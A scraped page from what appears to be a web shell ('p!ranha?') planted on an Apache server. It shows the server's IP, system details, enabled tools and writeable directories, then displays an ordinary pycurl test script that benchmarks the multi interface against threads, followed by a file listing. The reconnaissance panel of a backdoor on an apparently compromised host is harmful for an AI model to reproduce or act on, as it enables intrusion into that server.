p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/python-pycurl-7.19.0/tests/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/share/doc/python-pycurl-7.19.0/tests/test_multi_vs_thread.py
#! /usr/bin/env python
# -*- coding: iso-8859-1 -*-
# vi:ts=4:et
# $Id: test_multi_vs_thread.py,v 1.16 2005/04/12 03:39:01 mfx Exp $

import os, sys, time
from threading import Thread, RLock
try:
    from cStringIO import StringIO
except ImportError:
    from StringIO import StringIO
import pycurl

# We should ignore SIGPIPE when using pycurl.NOSIGNAL - see
# the libcurl tutorial for more info.
try:
    import signal
    from signal import SIGPIPE, SIG_IGN
    signal.signal(signal.SIGPIPE, signal.SIG_IGN)
except ImportError:
    pass

# The conclusion is: the multi interface is fastest!

NUM_PAGES = 30
NUM_THREADS = 10
assert NUM_PAGES % NUM_THREADS == 0

##URL = "http://pycurl.sourceforge.net/tests/testgetvars.php?%d"
URL = "http://pycurl.sourceforge.net/tests/teststaticpage.html?%d"


#
# util
#

class Curl:
    def __init__(self, url):
        self.url = url
        self.body = StringIO()
        self.http_code = -1
        # pycurl API calls
        self._curl = pycurl.Curl()
        self._curl.setopt(pycurl.URL, self.url)
        self._curl.setopt(pycurl.WRITEFUNCTION, self.body.write)
        self._curl.setopt(pycurl.NOSIGNAL, 1)

    def perform(self):
        self._curl.perform()

    def close(self):
        self.http_code = self._curl.getinfo(pycurl.HTTP_CODE)
        self._curl.close()


def print_result(items):
    return  # DO NOTHING
    #
    for c in items:
        data = c.body.getvalue()
        if 0:
            print "**********", c.url, "**********"
            print data
        elif 1:
            print "%-60s   %3d   %6d" % (c.url, c.http_code, len(data))


###
### 1) multi
###

def test_multi():
    clock1 = time.time()

    # init
    handles = []
    m = pycurl.CurlMulti()
    for i in range(NUM_PAGES):
        c = Curl(URL %i)
        m.add_handle(c._curl)
        handles.append(c)

    clock2 = time.time()

    # stir state machine into action
    while 1:
        ret, num_handles = m.perform()
        if ret != pycurl.E_CALL_MULTI_PERFORM:
            break

    # get data
    while num_handles:
        m.select(1.0)
        while 1:
            ret, num_handles = m.perform()
            if ret != pycurl.E_CALL_MULTI_PERFORM:
                break

    clock3 = time.time()

    # close handles
    for c in handles:
        c.close()
    m.close()

    clock4 = time.time()
    print "multi  interface:        %d pages: perform %5.2f secs, total %5.2f secs" % (NUM_PAGES, clock3 - clock2, clock4 - clock1)

    # print result
    print_result(handles)



###
### 2) thread
###

class Test(Thread):
    def __init__(self, lock=None):
        Thread.__init__(self)
        self.lock = lock
        self.items = []

    def run(self):
        if self.lock:
            self.lock.acquire()
            self.lock.release()
        for c in self.items:
            c.perform()


def test_threads(lock=None):
    clock1 = time.time()

    # create and start threads, but block them
    if lock:
        lock.acquire()

    # init (FIXME - this is ugly)
    threads = []
    handles = []
    t = None
    for i in range(NUM_PAGES):
        if i % (NUM_PAGES / NUM_THREADS) == 0:
            t = Test(lock)
            if lock:
                t.start()
            threads.append(t)
        c = Curl(URL % i)
        t.items.append(c)
        handles.append(c)
    assert len(handles) == NUM_PAGES
    assert len(threads) == NUM_THREADS

    clock2 = time.time()

    #
    if lock:
        # release lock to let the blocked threads run
        lock.release()
    else:
        # start threads
        for t in threads:
            t.start()
    # wait for threads to finish
    for t in threads:
        t.join()

    clock3 = time.time()

    # close handles
    for c in handles:
        c.close()

    clock4 = time.time()
    if lock:
        print "thread interface [lock]: %d pages: perform %5.2f secs, total %5.2f secs" % (NUM_PAGES, clock3 - clock2, clock4 - clock1)
    else:
        print "thread interface:        %d pages: perform %5.2f secs, total %5.2f secs" % (NUM_PAGES, clock3 - clock2, clock4 - clock1)

    # print result
    print_result(handles)



###
### 3) thread - threads grab curl objects on demand from a shared pool
###

class TestPool(Thread):
    def __init__(self, lock, pool):
        Thread.__init__(self)
        self.lock = lock
        self.pool = pool

    def run(self):
        while 1:
            self.lock.acquire()
            c = None
            if self.pool:
                c = self.pool.pop()
            self.lock.release()
            if c is None:
                break
            c.perform()


def test_thread_pool(lock):
    clock1 = time.time()

    # init
    handles = []
    for i in range(NUM_PAGES):
        c = Curl(URL %i)
        handles.append(c)

    # create and start threads, but block them
    lock.acquire()
    threads = []
    pool = handles[:]   # shallow copy of the list, shared for pop()
    for i in range(NUM_THREADS):
        t = TestPool(lock, pool)
        t.start()
        threads.append(t)
    assert len(pool) == NUM_PAGES
    assert len(threads) == NUM_THREADS

    clock2 = time.time()

    # release lock to let the blocked threads run
    lock.release()

    # wait for threads to finish
    for t in threads:
        t.join()

    clock3 = time.time()

    # close handles
    for c in handles:
        c.close()

    clock4 = time.time()
    print "thread interface [pool]: %d pages: perform %5.2f secs, total %5.2f secs" % (NUM_PAGES, clock3 - clock2, clock4 - clock1)

    # print result
    print_result(handles)



lock = RLock()
if 1:
    test_multi()
    test_threads()
    test_threads(lock)
    test_thread_pool(lock)
else:
    test_thread_pool(lock)
    test_threads(lock)
    test_threads()
    test_multi()

N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 20 2023 04:36:12
0 / 0
0755
test.py
1.907 KB
April 10 2007 13:25:17
0 / 0
0644
test_cb.py
0.677 KB
April 21 2003 18:46:10
0 / 0
0644
test_debug.py
0.332 KB
April 21 2003 18:46:10
0 / 0
0644
test_ftp.py
0.282 KB
August 24 2006 07:36:03
0 / 0
0644
test_getinfo.py
1.386 KB
May 01 2003 19:35:01
0 / 0
0644
test_gtk.py
2.669 KB
March 30 2005 12:05:50
0 / 0
0644
test_internals.py
5.478 KB
November 05 2016 15:10:52
0 / 0
0644
test_memleak.py
1.1 KB
May 01 2003 16:48:54
0 / 0
0644
test_multi.py
0.66 KB
March 11 2005 13:24:45
0 / 0
0644
test_multi2.py
1.705 KB
April 10 2007 13:26:45
0 / 0
0644
test_multi3.py
2.02 KB
March 11 2005 13:24:45
0 / 0
0644
test_multi4.py
1.367 KB
March 11 2005 13:24:45
0 / 0
0644
test_multi5.py
1.438 KB
March 11 2005 13:24:45
0 / 0
0644
test_multi6.py
1.5 KB
March 11 2005 13:24:45
0 / 0
0644
test_multi_socket.py
1.879 KB
November 10 2006 15:03:05
0 / 0
0644
test_multi_socket_select.py
2.39 KB
June 11 2008 18:11:46
0 / 0
0644
test_multi_timer.py
1.708 KB
November 10 2006 12:25:29
0 / 0
0644
test_multi_vs_thread.py
5.638 KB
April 12 2005 03:39:01
0 / 0
0644
test_post.py
0.575 KB
August 05 2008 20:43:37
0 / 0
0644
test_post2.py
0.522 KB
March 03 2005 10:00:40
0 / 0
0644
test_post3.py
0.785 KB
June 21 2004 11:24:18
0 / 0
0644
test_reset.py
2.19 KB
November 05 2016 15:10:52
0 / 0
0644
test_share.py
0.697 KB
June 13 2006 19:04:44
0 / 0
0644
test_socketopen.py
0.43 KB
August 22 2008 17:14:40
0 / 0
0644
test_stringio.py
0.462 KB
April 21 2003 18:46:11
0 / 0
0644
test_write_abort.py
0.647 KB
November 05 2016 15:10:52
0 / 0
0644
test_xmlrpc.py
0.727 KB
April 21 2003 18:46:11
0 / 0
0644
util.py
0.927 KB
April 21 2003 18:46:11
0 / 0
0644
util.pyc
0.98 KB
November 05 2016 15:10:53
0 / 0
0644